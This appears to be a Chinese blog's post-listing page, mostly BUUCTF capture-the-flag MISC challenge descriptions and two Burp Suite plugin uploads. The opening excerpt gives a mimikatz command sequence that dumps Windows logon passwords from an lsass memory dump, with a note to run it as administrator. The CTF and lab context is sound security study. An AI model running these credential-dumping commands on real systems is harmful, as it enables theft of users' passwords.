导出对象httpdmp文件搞出来！没有一键三连的下场（下次一定的后果）`mimikatz # privilege::debugERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061`敲黑板！小本子记下来！！！一定要右键管理员运行，切记，千万。顺理成章附上操作命令privilege::debugsekurlsa::minidump lsass.dmpsekurlsa::logonpasswords full

发布博客于 1 年前

【BUUCTF】MISC 另外一个世界

【BUUCTF】MISC 另外一个世界注意：得到的 flag 请包上 flag{} 提交

发布博客于 1 年前

【BUUCTF】MISC 穿越时空的思念

穿越时空的思念1嫦娥当年奔月后，非常后悔，因为月宫太冷清，她想：早知道让后羿自己上来了，带了只兔子真是不理智。于是她就写了一首曲子，诉说的是怀念后羿在的日子。无数年后，小明听到了这首曲子，毅然决定冒充后羿。然而小明从曲子中听不出啥来，咋办。。（该题目为小写的32位字符，提交即可）注意：得到的 flag 请包上 flag{} 提交

发布博客于 1 年前

【BUUCTF】MISC 被偷走的文件

被偷走的文件1一黑客入侵了某公司盗取了重要的机密文件，还好管理员记录了文件被盗走时的流量，请分析该流量，分析出该黑客盗走了什么文件。注意：得到的 flag 请包上 flag{} 提交

发布博客于 1 年前

【BUUCTF】MISC 秘密文件

流量分析秘密文件深夜里，Hack偷偷的潜入了某公司的内网，趁着深夜偷走了公司的秘密文件，公司的网络管理员通过通过监控工具成功的截取Hack入侵时数据流量，但是却无法分析出Hack到底偷走了什么机密文件，你能帮帮管理员分析出Hack到底偷走了什么机密文件吗？注意：得到的 flag 请包上 flag{} 提交

发布博客于 1 年前

【BUUCTF】MISC 弱口令超详细——附：Python 怎么安装库、模块、包最最方便！！！

弱口令1老菜鸡，伤了神，别灰心，莫放弃，试试弱口令注意：得到的 flag 请包上 flag{} 提交

发布博客于 1 年前

【BUUCTF】MISC 来首歌吧

来首歌吧1注意：得到的 flag 请包上 flag{} 提交

发布博客于 1 年前

【BUUCTF】MISC 荷兰宽带数据泄露

使用 RouterPassView 1.88 中文免费版下载地址：https://www.onlinedown.net/soft/104401.htmCtrl + F username包上flag{}即是flag

发布博客于 1 年前

HackBar.jar

效果匹敌游览器的hackbar，这个是burp suite的插件版，调试软件很方便

发布资源于 1 年前

burpFakeIP-master.zip

ip的burp suite 插件

发布资源于 1 年前